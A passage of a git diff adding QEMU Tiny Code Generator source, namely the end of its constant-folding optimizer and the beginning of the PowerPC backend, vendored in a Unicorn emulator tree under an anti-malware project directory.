CASE_OP_32_64(nor): + CASE_OP_32_64(muluh): + CASE_OP_32_64(mulsh): + swap_commutative(s, args[0], &args[1], &args[2]); + break; + CASE_OP_32_64(brcond): + if (swap_commutative(s, -1, &args[0], &args[1])) { + args[2] = tcg_swap_cond(args[2]); + } + break; + CASE_OP_32_64(setcond): + if (swap_commutative(s, args[0], &args[1], &args[2])) { + args[3] = tcg_swap_cond(args[3]); + } + break; + CASE_OP_32_64(movcond): + if (swap_commutative(s, -1, &args[1], &args[2])) { + args[5] = tcg_swap_cond(args[5]); + } + /* For movcond, we canonicalize the "false" input reg to match + the destination reg so that the tcg backend can implement + a "move if true" operation. */ + if (swap_commutative(s, args[0], &args[4], &args[3])) { + args[5] = tcg_invert_cond(args[5]); + } + break; + CASE_OP_32_64(add2): + swap_commutative(s, args[0], &args[2], &args[4]); + swap_commutative(s, args[1], &args[3], &args[5]); + break; + CASE_OP_32_64(mulu2): + CASE_OP_32_64(muls2): + swap_commutative(s, args[0], &args[2], &args[3]); + break; + case INDEX_op_brcond2_i32: + if (swap_commutative2(s, &args[0], &args[2])) { + args[4] = tcg_swap_cond(args[4]); + } + break; + case INDEX_op_setcond2_i32: + if (swap_commutative2(s, &args[1], &args[3])) { + args[5] = tcg_swap_cond(args[5]); + } + break; + default: + break; + } + + /* Simplify expressions for "shift/rot r, 0, a => movi r, 0", + and "sub r, 0, a => neg r, a" case. */ + switch (op) { + CASE_OP_32_64(shl): + CASE_OP_32_64(shr): + CASE_OP_32_64(sar): + CASE_OP_32_64(rotl): + CASE_OP_32_64(rotr): + if (temps[args[1]].state == TCG_TEMP_CONST + && temps[args[1]].val == 0) { + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], 0); + args += 3; + gen_args += 2; + continue; + } + break; + CASE_OP_32_64(sub): + { + TCGOpcode neg_op; + bool have_neg; + + if (temps[args[2]].state == TCG_TEMP_CONST) { + /* Proceed with possible constant folding. */ + break; + } + if (op == INDEX_op_sub_i32) { + neg_op = INDEX_op_neg_i32; + have_neg = TCG_TARGET_HAS_neg_i32; + } else { + neg_op = INDEX_op_neg_i64; + have_neg = TCG_TARGET_HAS_neg_i64; + } + if (!have_neg) { + break; + } + if (temps[args[1]].state == TCG_TEMP_CONST + && temps[args[1]].val == 0) { + s->gen_opc_buf[op_index] = neg_op; + reset_temp(s, args[0]); + gen_args[0] = args[0]; + gen_args[1] = args[2]; + args += 3; + gen_args += 2; + continue; + } + } + break; + CASE_OP_32_64(xor): + CASE_OP_32_64(nand): + if (temps[args[1]].state != TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST + && temps[args[2]].val == -1) { + i = 1; + goto try_not; + } + break; + CASE_OP_32_64(nor): + if (temps[args[1]].state != TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST + && temps[args[2]].val == 0) { + i = 1; + goto try_not; + } + break; + CASE_OP_32_64(andc): + if (temps[args[2]].state != TCG_TEMP_CONST + && temps[args[1]].state == TCG_TEMP_CONST + && temps[args[1]].val == -1) { + i = 2; + goto try_not; + } + break; + CASE_OP_32_64(orc): + CASE_OP_32_64(eqv): + if (temps[args[2]].state != TCG_TEMP_CONST + && temps[args[1]].state == TCG_TEMP_CONST + && temps[args[1]].val == 0) { + i = 2; + goto try_not; + } + break; + try_not: + { + TCGOpcode not_op; + bool have_not; + + if (def->flags & TCG_OPF_64BIT) { + not_op = INDEX_op_not_i64; + have_not = TCG_TARGET_HAS_not_i64; + } else { + not_op = INDEX_op_not_i32; + have_not = TCG_TARGET_HAS_not_i32; + } + if (!have_not) { + break; + } + s->gen_opc_buf[op_index] = not_op; + reset_temp(s, args[0]); + gen_args[0] = args[0]; + gen_args[1] = args[i]; + args += 3; + gen_args += 2; + continue; + } + default: + break; + } + + /* Simplify expression for "op r, a, const => mov r, a" cases */ + switch (op) { + CASE_OP_32_64(add): + CASE_OP_32_64(sub): + CASE_OP_32_64(shl): + CASE_OP_32_64(shr): + CASE_OP_32_64(sar): + CASE_OP_32_64(rotl): + CASE_OP_32_64(rotr): + CASE_OP_32_64(or): + CASE_OP_32_64(xor): + CASE_OP_32_64(andc): + if (temps[args[1]].state != TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST + && temps[args[2]].val == 0) { + goto do_mov3; + } + break; + CASE_OP_32_64(and): + CASE_OP_32_64(orc): + CASE_OP_32_64(eqv): + if (temps[args[1]].state != TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST + && temps[args[2]].val == -1) { + goto do_mov3; + } + break; + do_mov3: + if (temps_are_copies(s, args[0], args[1])) { + s->gen_opc_buf[op_index] = INDEX_op_nop; + } else { + tcg_opt_gen_mov(s, op_index, gen_args, op, args[0], args[1]); + gen_args += 2; + } + args += 3; + continue; + default: + break; + } + + /* Simplify using known-zero bits. Currently only ops with a single + output argument is supported. */ + mask = -1; + affected = -1; + switch (op) { + CASE_OP_32_64(ext8s): + if ((temps[args[1]].mask & 0x80) != 0) { + break; + } + CASE_OP_32_64(ext8u): + mask = 0xff; + goto and_const; + CASE_OP_32_64(ext16s): + if ((temps[args[1]].mask & 0x8000) != 0) { + break; + } + CASE_OP_32_64(ext16u): + mask = 0xffff; + goto and_const; + case INDEX_op_ext32s_i64: + if ((temps[args[1]].mask & 0x80000000) != 0) { + break; + } + case INDEX_op_ext32u_i64: + mask = 0xffffffffU; + goto and_const; + + CASE_OP_32_64(and): + mask = temps[args[2]].mask; + if (temps[args[2]].state == TCG_TEMP_CONST) { + and_const: + affected = temps[args[1]].mask & ~mask; + } + mask = temps[args[1]].mask & mask; + break; + + CASE_OP_32_64(andc): + /* Known-zeros does not imply known-ones. Therefore unless + args[2] is constant, we can't infer anything from it. */ + if (temps[args[2]].state == TCG_TEMP_CONST) { + mask = ~temps[args[2]].mask; + goto and_const; + } + /* But we certainly know nothing outside args[1] may be set. */ + mask = temps[args[1]].mask; + break; + + case INDEX_op_sar_i32: + if (temps[args[2]].state == TCG_TEMP_CONST) { + tmp = temps[args[2]].val & 31; + mask = (int32_t)temps[args[1]].mask >> tmp; + } + break; + case INDEX_op_sar_i64: + if (temps[args[2]].state == TCG_TEMP_CONST) { + tmp = temps[args[2]].val & 63; + mask = (int64_t)temps[args[1]].mask >> tmp; + } + break; + + case INDEX_op_shr_i32: + if (temps[args[2]].state == TCG_TEMP_CONST) { + tmp = temps[args[2]].val & 31; + mask = (uint32_t)temps[args[1]].mask >> tmp; + } + break; + case INDEX_op_shr_i64: + if (temps[args[2]].state == TCG_TEMP_CONST) { + tmp = temps[args[2]].val & 63; + mask = (uint64_t)temps[args[1]].mask >> tmp; + } + break; + + case INDEX_op_trunc_shr_i32: + mask = (uint64_t)temps[args[1]].mask >> args[2]; + break; + + CASE_OP_32_64(shl): + if (temps[args[2]].state == TCG_TEMP_CONST) { + tmp = temps[args[2]].val & (TCG_TARGET_REG_BITS - 1); + mask = temps[args[1]].mask << tmp; + } + break; + + CASE_OP_32_64(neg): + /* Set to 1 all bits to the left of the rightmost. */ + mask = 0-(temps[args[1]].mask & (0-temps[args[1]].mask)); + break; + + CASE_OP_32_64(deposit): + mask = (tcg_target_ulong)deposit64(temps[args[1]].mask, args[3], args[4], + temps[args[2]].mask); + break; + + CASE_OP_32_64(or): + CASE_OP_32_64(xor): + mask = temps[args[1]].mask | temps[args[2]].mask; + break; + + CASE_OP_32_64(setcond): + case INDEX_op_setcond2_i32: + mask = 1; + break; + + CASE_OP_32_64(movcond): + mask = temps[args[3]].mask | temps[args[4]].mask; + break; + + CASE_OP_32_64(ld8u): + mask = 0xff; + break; + CASE_OP_32_64(ld16u): + mask = 0xffff; + break; + case INDEX_op_ld32u_i64: + mask = 0xffffffffu; + break; + + CASE_OP_32_64(qemu_ld): + { + TCGMemOp mop = args[nb_oargs + nb_iargs]; + if (!(mop & MO_SIGN)) { + mask = (2ULL << ((8 << (mop & MO_SIZE)) - 1)) - 1; + } + } + break; + + default: + break; + } + + /* 32-bit ops generate 32-bit results. For the result is zero test + below, we can ignore high bits, but for further optimizations we + need to record that the high bits contain garbage. */ + partmask = mask; + if (!(def->flags & TCG_OPF_64BIT)) { + mask |= ~(tcg_target_ulong)0xffffffffu; + partmask &= 0xffffffffu; + affected &= 0xffffffffu; + } + + if (partmask == 0) { + assert(nb_oargs == 1); + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], 0); + args += nb_args; + gen_args += 2; + continue; + } + if (affected == 0) { + assert(nb_oargs == 1); + if (temps_are_copies(s, args[0], args[1])) { + s->gen_opc_buf[op_index] = INDEX_op_nop; + } else if (temps[args[1]].state != TCG_TEMP_CONST) { + tcg_opt_gen_mov(s, op_index, gen_args, op, args[0], args[1]); + gen_args += 2; + } else { + tcg_opt_gen_movi(s, op_index, gen_args, op, + args[0], temps[args[1]].val); + gen_args += 2; + } + args += nb_args; + continue; + } + + /* Simplify expression for "op r, a, 0 => movi r, 0" cases */ + switch (op) { + CASE_OP_32_64(and): + CASE_OP_32_64(mul): + CASE_OP_32_64(muluh): + CASE_OP_32_64(mulsh): + if ((temps[args[2]].state == TCG_TEMP_CONST + && temps[args[2]].val == 0)) { + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], 0); + args += 3; + gen_args += 2; + continue; + } + break; + default: + break; + } + + /* Simplify expression for "op r, a, a => mov r, a" cases */ + switch (op) { + CASE_OP_32_64(or): + CASE_OP_32_64(and): + if (temps_are_copies(s, args[1], args[2])) { + if (temps_are_copies(s, args[0], args[1])) { + s->gen_opc_buf[op_index] = INDEX_op_nop; + } else { + tcg_opt_gen_mov(s, op_index, gen_args, op, + args[0], args[1]); + gen_args += 2; + } + args += 3; + continue; + } + break; + default: + break; + } + + /* Simplify expression for "op r, a, a => movi r, 0" cases */ + switch (op) { + CASE_OP_32_64(andc): + CASE_OP_32_64(sub): + CASE_OP_32_64(xor): + if (temps_are_copies(s, args[1], args[2])) { + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], 0); + gen_args += 2; + args += 3; + continue; + } + break; + default: + break; + } + + /* Propagate constants through copy operations and do constant + folding. Constants will be substituted to arguments by register + allocator where needed and possible. Also detect copies. */ + switch (op) { + CASE_OP_32_64(mov): + if (temps_are_copies(s, args[0], args[1])) { + args += 2; + s->gen_opc_buf[op_index] = INDEX_op_nop; + break; + } + if (temps[args[1]].state != TCG_TEMP_CONST) { + tcg_opt_gen_mov(s, op_index, gen_args, op, args[0], args[1]); + gen_args += 2; + args += 2; + break; + } + /* Source argument is constant. Rewrite the operation and + let movi case handle it. */ + args[1] = temps[args[1]].val; + /* fallthrough */ + CASE_OP_32_64(movi): + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], args[1]); + gen_args += 2; + args += 2; + break; + + CASE_OP_32_64(not): + CASE_OP_32_64(neg): + CASE_OP_32_64(ext8s): + CASE_OP_32_64(ext8u): + CASE_OP_32_64(ext16s): + CASE_OP_32_64(ext16u): + case INDEX_op_ext32s_i64: + case INDEX_op_ext32u_i64: + if (temps[args[1]].state == TCG_TEMP_CONST) { + tmp = do_constant_folding(s, op, temps[args[1]].val, 0); + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + args += 2; + break; + } + goto do_default; + + case INDEX_op_trunc_shr_i32: + if (temps[args[1]].state == TCG_TEMP_CONST) { + tmp = do_constant_folding(s, op, temps[args[1]].val, args[2]); + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + args += 3; + break; + } + goto do_default; + + CASE_OP_32_64(add): + CASE_OP_32_64(sub): + CASE_OP_32_64(mul): + CASE_OP_32_64(or): + CASE_OP_32_64(and): + CASE_OP_32_64(xor): + CASE_OP_32_64(shl): + CASE_OP_32_64(shr): + CASE_OP_32_64(sar): + CASE_OP_32_64(rotl): + CASE_OP_32_64(rotr): + CASE_OP_32_64(andc): + CASE_OP_32_64(orc): + CASE_OP_32_64(eqv): + CASE_OP_32_64(nand): + CASE_OP_32_64(nor): + CASE_OP_32_64(muluh): + CASE_OP_32_64(mulsh): + CASE_OP_32_64(div): + CASE_OP_32_64(divu): + CASE_OP_32_64(rem): + CASE_OP_32_64(remu): + if (temps[args[1]].state == TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST) { + tmp = do_constant_folding(s, op, temps[args[1]].val, + temps[args[2]].val); + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + args += 3; + break; + } + goto do_default; + + CASE_OP_32_64(deposit): + if (temps[args[1]].state == TCG_TEMP_CONST + && temps[args[2]].state == TCG_TEMP_CONST) { + tmp = (TCGArg)deposit64(temps[args[1]].val, args[3], args[4], + temps[args[2]].val); + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + args += 5; + break; + } + goto do_default; + + CASE_OP_32_64(setcond): + tmp = do_constant_folding_cond(s, op, args[1], args[2], args[3]); + if (tmp != 2) { + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + args += 4; + break; + } + goto do_default; + + CASE_OP_32_64(brcond): + tmp = do_constant_folding_cond(s, op, args[0], args[1], args[2]); + if (tmp != 2) { + if (tmp) { + reset_all_temps(s, nb_temps); + s->gen_opc_buf[op_index] = INDEX_op_br; + gen_args[0] = args[3]; + gen_args += 1; + } else { + s->gen_opc_buf[op_index] = INDEX_op_nop; + } + args += 4; + break; + } + goto do_default; + + CASE_OP_32_64(movcond): + tmp = do_constant_folding_cond(s, op, args[1], args[2], args[5]); + if (tmp != 2) { + if (temps_are_copies(s, args[0], args[4-tmp])) { + s->gen_opc_buf[op_index] = INDEX_op_nop; + } else if (temps[args[4-tmp]].state == TCG_TEMP_CONST) { + tcg_opt_gen_movi(s, op_index, gen_args, op, + args[0], temps[args[4-tmp]].val); + gen_args += 2; + } else { + tcg_opt_gen_mov(s, op_index, gen_args, op, + args[0], args[4-tmp]); + gen_args += 2; + } + args += 6; + break; + } + goto do_default; + + case INDEX_op_add2_i32: + case INDEX_op_sub2_i32: + if (temps[args[2]].state == TCG_TEMP_CONST + && temps[args[3]].state == TCG_TEMP_CONST + && temps[args[4]].state == TCG_TEMP_CONST + && temps[args[5]].state == TCG_TEMP_CONST) { + uint32_t al = temps[args[2]].val; + uint32_t ah = temps[args[3]].val; + uint32_t bl = temps[args[4]].val; + uint32_t bh = temps[args[5]].val; + uint64_t a = ((uint64_t)ah << 32) | al; + uint64_t b = ((uint64_t)bh << 32) | bl; + TCGArg rl, rh; + + if (op == INDEX_op_add2_i32) { + a += b; + } else { + a -= b; + } + + /* We emit the extra nop when we emit the add2/sub2. */ + assert(s->gen_opc_buf[op_index + 1] == INDEX_op_nop); + + rl = args[0]; + rh = args[1]; + tcg_opt_gen_movi(s, op_index, &gen_args[0], + op, rl, (uint32_t)a); + tcg_opt_gen_movi(s, ++op_index, &gen_args[2], + op, rh, (uint32_t)(a >> 32)); + gen_args += 4; + args += 6; + break; + } + goto do_default; + + case INDEX_op_mulu2_i32: + if (temps[args[2]].state == TCG_TEMP_CONST + && temps[args[3]].state == TCG_TEMP_CONST) { + uint32_t a = temps[args[2]].val; + uint32_t b = temps[args[3]].val; + uint64_t r = (uint64_t)a * b; + TCGArg rl, rh; + + /* We emit the extra nop when we emit the mulu2. */ + assert(s->gen_opc_buf[op_index + 1] == INDEX_op_nop); + + rl = args[0]; + rh = args[1]; + tcg_opt_gen_movi(s, op_index, &gen_args[0], + op, rl, (uint32_t)r); + tcg_opt_gen_movi(s, ++op_index, &gen_args[2], + op, rh, (uint32_t)(r >> 32)); + gen_args += 4; + args += 4; + break; + } + goto do_default; + + case INDEX_op_brcond2_i32: + tmp = do_constant_folding_cond2(s, &args[0], &args[2], args[4]); + if (tmp != 2) { + if (tmp) { + do_brcond_true: + reset_all_temps(s, nb_temps); + s->gen_opc_buf[op_index] = INDEX_op_br; + gen_args[0] = args[5]; + gen_args += 1; + } else { + do_brcond_false: + s->gen_opc_buf[op_index] = INDEX_op_nop; + } + } else if ((args[4] == TCG_COND_LT || args[4] == TCG_COND_GE) + && temps[args[2]].state == TCG_TEMP_CONST + && temps[args[3]].state == TCG_TEMP_CONST + && temps[args[2]].val == 0 + && temps[args[3]].val == 0) { + /* Simplify LT/GE comparisons vs zero to a single compare + vs the high word of the input. */ + do_brcond_high: + reset_all_temps(s, nb_temps); + s->gen_opc_buf[op_index] = INDEX_op_brcond_i32; + gen_args[0] = args[1]; + gen_args[1] = args[3]; + gen_args[2] = args[4]; + gen_args[3] = args[5]; + gen_args += 4; + } else if (args[4] == TCG_COND_EQ) { + /* Simplify EQ comparisons where one of the pairs + can be simplified. */ + tmp = do_constant_folding_cond(s, INDEX_op_brcond_i32, + args[0], args[2], TCG_COND_EQ); + if (tmp == 0) { + goto do_brcond_false; + } else if (tmp == 1) { + goto do_brcond_high; + } + tmp = do_constant_folding_cond(s, INDEX_op_brcond_i32, + args[1], args[3], TCG_COND_EQ); + if (tmp == 0) { + goto do_brcond_false; + } else if (tmp != 1) { + goto do_default; + } + do_brcond_low: + reset_all_temps(s, nb_temps); + s->gen_opc_buf[op_index] = INDEX_op_brcond_i32; + gen_args[0] = args[0]; + gen_args[1] = args[2]; + gen_args[2] = args[4]; + gen_args[3] = args[5]; + gen_args += 4; + } else if (args[4] == TCG_COND_NE) { + /* Simplify NE comparisons where one of the pairs + can be simplified. */ + tmp = do_constant_folding_cond(s, INDEX_op_brcond_i32, + args[0], args[2], TCG_COND_NE); + if (tmp == 0) { + goto do_brcond_high; + } else if (tmp == 1) { + goto do_brcond_true; + } + tmp = do_constant_folding_cond(s, INDEX_op_brcond_i32, + args[1], args[3], TCG_COND_NE); + if (tmp == 0) { + goto do_brcond_low; + } else if (tmp == 1) { + goto do_brcond_true; + } + goto do_default; + } else { + goto do_default; + } + args += 6; + break; + + case INDEX_op_setcond2_i32: + tmp = do_constant_folding_cond2(s, &args[1], &args[3], args[5]); + if (tmp != 2) { + do_setcond_const: + tcg_opt_gen_movi(s, op_index, gen_args, op, args[0], tmp); + gen_args += 2; + } else if ((args[5] == TCG_COND_LT || args[5] == TCG_COND_GE) + && temps[args[3]].state == TCG_TEMP_CONST + && temps[args[4]].state == TCG_TEMP_CONST + && temps[args[3]].val == 0 + && temps[args[4]].val == 0) { + /* Simplify LT/GE comparisons vs zero to a single compare + vs the high word of the input. */ + do_setcond_high: + s->gen_opc_buf[op_index] = INDEX_op_setcond_i32; + reset_temp(s, args[0]); + temps[args[0]].mask = 1; + gen_args[0] = args[0]; + gen_args[1] = args[2]; + gen_args[2] = args[4]; + gen_args[3] = args[5]; + gen_args += 4; + } else if (args[5] == TCG_COND_EQ) { + /* Simplify EQ comparisons where one of the pairs + can be simplified. */ + tmp = do_constant_folding_cond(s, INDEX_op_setcond_i32, + args[1], args[3], TCG_COND_EQ); + if (tmp == 0) { + goto do_setcond_const; + } else if (tmp == 1) { + goto do_setcond_high; + } + tmp = do_constant_folding_cond(s, INDEX_op_setcond_i32, + args[2], args[4], TCG_COND_EQ); + if (tmp == 0) { + goto do_setcond_high; + } else if (tmp != 1) { + goto do_default; + } + do_setcond_low: + reset_temp(s, args[0]); + temps[args[0]].mask = 1; + s->gen_opc_buf[op_index] = INDEX_op_setcond_i32; + gen_args[0] = args[0]; + gen_args[1] = args[1]; + gen_args[2] = args[3]; + gen_args[3] = args[5]; + gen_args += 4; + } else if (args[5] == TCG_COND_NE) { + /* Simplify NE comparisons where one of the pairs + can be simplified. */ + tmp = do_constant_folding_cond(s, INDEX_op_setcond_i32, + args[1], args[3], TCG_COND_NE); + if (tmp == 0) { + goto do_setcond_high; + } else if (tmp == 1) { + goto do_setcond_const; + } + tmp = do_constant_folding_cond(s, INDEX_op_setcond_i32, + args[2], args[4], TCG_COND_NE); + if (tmp == 0) { + goto do_setcond_low; + } else if (tmp == 1) { + goto do_setcond_const; + } + goto do_default; + } else { + goto do_default; + } + args += 6; + break; + + case INDEX_op_call: + if (!(args[nb_oargs + nb_iargs + 1] + & (TCG_CALL_NO_READ_GLOBALS | TCG_CALL_NO_WRITE_GLOBALS))) { + for (i = 0; i < nb_globals; i++) { + reset_temp(s, i); + } + } + goto do_reset_output; + + default: + do_default: + /* Default case: we know nothing about operation (or were unable + to compute the operation result) so no propagation is done. + We trash everything if the operation is the end of a basic + block, otherwise we only trash the output args. "mask" is + the non-zero bits mask for the first output arg. */ + if (def->flags & TCG_OPF_BB_END) { + reset_all_temps(s, nb_temps); + } else { + do_reset_output: + for (i = 0; i < nb_oargs; i++) { + if (args[i] >= TCG_MAX_TEMPS) { + continue; + } + reset_temp(s, args[i]); + /* Save the corresponding known-zero bits mask for the + first output argument (only one supported so far). */ + if (i == 0) { + temps[args[i]].mask = mask; + } + } + } + for (i = 0; i < nb_args; i++) { + gen_args[i] = args[i]; + } + args += nb_args; + gen_args += nb_args; + break; + } + } + + return gen_args; +} + +TCGArg *tcg_optimize(TCGContext *s, uint16_t *tcg_opc_ptr, + TCGArg *args, TCGOpDef *tcg_op_defs) +{ + TCGArg *res; + res = tcg_constant_folding(s, tcg_opc_ptr, args, tcg_op_defs); + return res; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.c new file mode 100644 index 0000000..cd7aabd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.c @@ -0,0 +1,2672 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg-be-ldst.h" + +#if defined _CALL_DARWIN || defined __APPLE__ +#define TCG_TARGET_CALL_DARWIN +#endif +#ifdef _CALL_SYSV +# define TCG_TARGET_CALL_ALIGN_ARGS 1 +#endif + +/* For some memory operations, we need a scratch that isn't R0. For the AIX + calling convention, we can re-use the TOC register since we'll be reloading + it at every call. Otherwise R12 will do nicely as neither a call-saved + register nor a parameter register. */ +#ifdef _CALL_AIX +# define TCG_REG_TMP1 TCG_REG_R2 +#else +# define TCG_REG_TMP1 TCG_REG_R12 +#endif + +/* For the 64-bit target, we don't like the 5 insn sequence needed to build + full 64-bit addresses. Better to have a base register to which we can + apply a 32-bit displacement. + + There are generally three items of interest: + (1) helper functions in the main executable, + (2) TranslationBlock data structures, + (3) the return address in the epilogue. + + For user-only, we USE_STATIC_CODE_GEN_BUFFER, so the code_gen_buffer + will be inside the main executable, and thus near enough to make a + pointer to the epilogue be within 2GB of all helper functions. + + For softmmu, we'll let the kernel choose the address of code_gen_buffer, + and odds are it'll be somewhere close to the main malloc arena, and so + a pointer to the epilogue will be within 2GB of the TranslationBlocks. + + For --enable-pie, everything will be kinda near everything else, + somewhere in high memory. + + Thus we choose to keep the return address in a call-saved register. */ +#define TCG_REG_RA TCG_REG_R31 +#define USE_REG_RA (TCG_TARGET_REG_BITS == 64) + +/* Shorthand for size of a pointer. Avoid promotion to unsigned. */ +#define SZP ((int)sizeof(void *)) + +/* Shorthand for size of a register. */ +#define SZR (TCG_TARGET_REG_BITS / 8) + +#define TCG_CT_CONST_S16 0x100 +#define TCG_CT_CONST_U16 0x200 +#define TCG_CT_CONST_S32 0x400 +#define TCG_CT_CONST_U32 0x800 +#define TCG_CT_CONST_ZERO 0x1000 +#define TCG_CT_CONST_MONE 0x2000 + +static tcg_insn_unit *tb_ret_addr; + +#ifndef GUEST_BASE +#define GUEST_BASE 0 +#endif + +#include "elf.h" +static bool have_isa_2_06; +#define HAVE_ISA_2_06 have_isa_2_06 +#define HAVE_ISEL have_isa_2_06 + +#ifdef CONFIG_USE_GUEST_BASE +#define TCG_GUEST_BASE_REG 30 +#else +#define TCG_GUEST_BASE_REG 0 +#endif + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "r0", + "r1", + "r2", + "r3", + "r4", + "r5", + "r6", + "r7", + "r8", + "r9", + "r10", + "r11", + "r12", + "r13", + "r14", + "r15", + "r16", + "r17", + "r18", + "r19", + "r20", + "r21", + "r22", + "r23", + "r24", + "r25", + "r26", + "r27", + "r28", + "r29", + "r30", + "r31" +}; +#endif + +static const int tcg_target_reg_alloc_order[] = { + TCG_REG_R14, /* call saved registers */ + TCG_REG_R15, + TCG_REG_R16, + TCG_REG_R17, + TCG_REG_R18, + TCG_REG_R19, + TCG_REG_R20, + TCG_REG_R21, + TCG_REG_R22, + TCG_REG_R23, + TCG_REG_R24, + TCG_REG_R25, + TCG_REG_R26, + TCG_REG_R27, + TCG_REG_R28, + TCG_REG_R29, + TCG_REG_R30, + TCG_REG_R31, + TCG_REG_R12, /* call clobbered, non-arguments */ + TCG_REG_R11, + TCG_REG_R2, + TCG_REG_R13, + TCG_REG_R10, /* call clobbered, arguments */ + TCG_REG_R9, + TCG_REG_R8, + TCG_REG_R7, + TCG_REG_R6, + TCG_REG_R5, + TCG_REG_R4, + TCG_REG_R3, +}; + +static const int tcg_target_call_iarg_regs[] = { + TCG_REG_R3, + TCG_REG_R4, + TCG_REG_R5, + TCG_REG_R6, + TCG_REG_R7, + TCG_REG_R8, + TCG_REG_R9, + TCG_REG_R10 +}; + +static const int tcg_target_call_oarg_regs[] = { + TCG_REG_R3, + TCG_REG_R4 +}; + +static const int tcg_target_callee_save_regs[] = { +#ifdef TCG_TARGET_CALL_DARWIN + TCG_REG_R11, +#endif + TCG_REG_R14, + TCG_REG_R15, + TCG_REG_R16, + TCG_REG_R17, + TCG_REG_R18, + TCG_REG_R19, + TCG_REG_R20, + TCG_REG_R21, + TCG_REG_R22, + TCG_REG_R23, + TCG_REG_R24, + TCG_REG_R25, + TCG_REG_R26, + TCG_REG_R27, /* currently used for the global env */ + TCG_REG_R28, + TCG_REG_R29, + TCG_REG_R30, + TCG_REG_R31 +}; + +static inline bool in_range_b(tcg_target_long target) +{ + return target == sextract64(target, 0, 26); +} + +static uint32_t reloc_pc24_val(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + ptrdiff_t disp = tcg_ptr_byte_diff(target, pc); + assert(in_range_b(disp)); + return disp & 0x3fffffc; +} + +static void reloc_pc24(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + *pc = (*pc & ~0x3fffffc) | reloc_pc24_val(pc, target); +} + +static uint16_t reloc_pc14_val(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + ptrdiff_t disp = tcg_ptr_byte_diff(target, pc); + assert(disp == (int16_t) disp); + return disp & 0xfffc; +} + +static void reloc_pc14(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + *pc = (*pc & ~0xfffc) | reloc_pc14_val(pc, target); +} + +static inline void tcg_out_b_noaddr(TCGContext *s, int insn) +{ + unsigned retrans = *s->code_ptr & 0x3fffffc; + tcg_out32(s, insn | retrans); +} + +static inline void tcg_out_bc_noaddr(TCGContext *s, int insn) +{ + unsigned retrans = *s->code_ptr & 0xfffc; + tcg_out32(s, insn | retrans); +} + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + tcg_insn_unit *target = (tcg_insn_unit *)value; + + assert(addend == 0); + switch (type) { + case R_PPC_REL14: + reloc_pc14(code_ptr, target); + break; + case R_PPC_REL24: + reloc_pc24(code_ptr, target); + break; + default: + tcg_abort(); + } +} + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str; + + ct_str = *pct_str; + switch (ct_str[0]) { + case 'A': case 'B': case 'C': case 'D': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, 3 + ct_str[0] - 'A'); + break; + case 'r': + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffffffff); + break; + case 'L': /* qemu_ld constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffffffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R3); +#ifdef CONFIG_SOFTMMU + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R4); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R5); +#endif + break; + case 'S': /* qemu_st constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffffffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R3); +#ifdef CONFIG_SOFTMMU + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R4); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R5); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R6); +#endif + break; + case 'I': + ct->ct |= TCG_CT_CONST_S16; + break; + case 'J': + ct->ct |= TCG_CT_CONST_U16; + break; + case 'M': + ct->ct |= 